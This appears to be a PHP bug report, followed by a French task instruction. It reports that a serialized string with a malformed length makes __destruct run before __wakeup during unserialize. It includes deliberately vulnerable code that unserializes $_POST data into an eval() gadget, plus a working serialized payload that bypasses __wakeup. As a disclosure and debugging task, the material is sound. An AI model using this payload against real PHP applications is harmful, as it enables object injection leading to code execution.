unserialize __wakeup bypass

Description

The following code:

<?php

class A
{
    public $info;
    private $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}

class B
{
    public $end;

    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }

    public function __call($method, $args)
    {
        eval('echo "aaaa";' . $this->end . 'echo "bbb"');
    }
}

unserialize($_POST['data']);

I found an interesting bug. When the deserialized string contains a variable name with the wrong string length, the deserialization continues, but the __destruct() function is called before __wakeup is called. This way you can bypass __wakeup().

I've tested it on some versions and I'm not sure if others have this problem, it's also useful in the latest version.

• 7.4.x -7.4.30
• 8.0.x

[POST]data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}

This event also is triggered when

• delete )
• Inconsistent number of class attributes
• The length of the attribute key does not match.
• The length of the attribute value does not match.
• delete ;

Expected Results：

aaaa bbb __wakeup

PHP Version

PHP 7.4.x PHP8.0.x

Operating System

Windows/Linux

Commencez par reproduire les données POST fournies avec les versions 7.4 et 8.0 de PHP indiquées, puis retracez le cycle de vie de unserialize autour de B::__wakeup() et A::__destruct(). Comparez l'ordre observé avec la sortie attendue et déterminez un invariant du cycle de vie testable ; l'issue n'identifie aucun fichier source et ne précise pas la correction souhaitée.